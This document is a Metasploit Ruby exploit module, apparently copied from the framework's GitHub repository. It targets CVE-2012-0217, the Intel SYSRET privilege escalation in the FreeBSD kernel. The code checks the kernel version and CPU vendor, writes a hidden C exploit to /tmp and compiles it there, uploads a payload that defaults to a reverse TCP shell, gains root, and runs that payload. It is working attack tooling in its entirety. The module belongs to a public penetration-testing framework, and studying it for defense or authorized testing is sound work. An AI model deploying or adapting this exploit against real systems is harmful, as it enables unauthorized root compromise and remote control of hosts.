Path: blob/master/modules/exploits/freebsd/local/intel_sysret_priv_esc.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GreatRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Post::File10include Msf::Post::Unix11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'FreeBSD Intel SYSRET Privilege Escalation',19'Description' => %q{20This module exploits a vulnerability in the FreeBSD kernel,21when running on 64-bit Intel processors.2223By design, 64-bit processors following the X86-64 specification will24trigger a general protection fault (GPF) when executing a SYSRET25instruction with a non-canonical address in the RCX register.2627However, Intel processors check for a non-canonical address prior to28dropping privileges, causing a GPF in privileged mode. As a result,29the current userland RSP stack pointer is restored and executed,30resulting in privileged code execution.3132This module has been tested successfully on:3334FreeBSD 8.3-RELEASE (amd64); and35FreeBSD 9.0-RELEASE (amd64).36},37'License' => MSF_LICENSE,38'Author' => [39'Rafal Wojtczuk', # Discovery40'John Baldwin', # Discovery41'iZsh', # Exploit42'bcoles' # Metasploit43],44'DisclosureDate' => '2012-06-12',45'Platform' => ['bsd'], # FreeBSD46'Arch' => [ARCH_X64],47'SessionTypes' => ['shell'],48'References' => [49['BID', '53856'],50['CVE', '2012-0217'],51['EDB', '28718'],52['PACKETSTORM', '113584'],53['URL', 'https://www.freebsd.org/security/patches/SA-12:04/sysret.patch'],54['URL', 'https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/'],55['URL', 'https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c'],56['URL', 'https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/'],57['URL', 'http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc'],58['URL', 'https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation']59],60'Targets' => [61['Automatic', {}]62],63'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },64'DefaultTarget' => 0,65'Notes' => {66'Stability' => [ CRASH_OS_RESTARTS, ],67'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK, ],68'Reliability' => [ REPEATABLE_SESSION, ]69}70)71)72register_advanced_options([73OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])74])75end7677def base_dir78datastore['WritableDir'].to_s79end8081def upload(path, data)82print_status("Writing '#{path}' (#{data.size} bytes) ...")83rm_f(path)84write_file(path, data)85register_file_for_cleanup(path)86end8788def upload_and_compile(path, data, _cc_args = '')89upload("#{path}.c", data)9091cc_cmd = "cc -o #{path} #{path}.c"92if session.type.eql?('shell')93cc_cmd = "PATH=$PATH:/usr/bin/ #{cc_cmd}"94end95output = cmd_exec(cc_cmd)9697unless output.blank?98print_error(output)99fail_with(Failure::Unknown, "#{path}.c failed to compile")100end101102register_file_for_cleanup(path)103chmod(path)104end105106def strip_comments(c_code)107c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')108end109110def check111kernel_release = cmd_exec('uname -r').to_s112unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/113return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")114end115116vprint_good("FreeBSD version #{kernel_release} appears vulnerable")117118kernel_arch = cmd_exec('uname -m').to_s119unless kernel_arch.include?('64')120return CheckCode::Safe("System architecture #{kernel_arch} is not supported")121end122123vprint_good("System architecture #{kernel_arch} is supported")124125hw_model = cmd_exec('/sbin/sysctl hw.model').to_s126unless hw_model.downcase.include?('intel')127return CheckCode::Safe("#{hw_model} is not vulnerable")128end129130vprint_good("#{hw_model} is vulnerable")131132CheckCode::Appears133end134135def exploit136if !datastore['ForceExploit'] && is_root?137fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')138end139140unless writable?(base_dir)141fail_with(Failure::BadConfig, "#{base_dir} is not writable")142end143144# Upload and compile exploit executable145executable_name = ".#{rand_text_alphanumeric(5..10)}"146executable_path = "#{base_dir}/#{executable_name}"147upload_and_compile(executable_path, strip_comments(exploit_data('cve-2012-0217', 'sysret.c')), '-Wall')148149# Upload payload executable150payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"151upload_and_chmodx(payload_path, generate_payload_exe)152153# Launch exploit154print_status('Launching exploit...')155output = cmd_exec(executable_path)156output.each_line { |line| vprint_status line.chomp }157158unless is_root?159fail_with(Failure::Unknown, 'Exploitation failed')160end161print_good('Success! Executing payload...')162163cmd_exec("#{payload_path} & echo ")164end165end166167168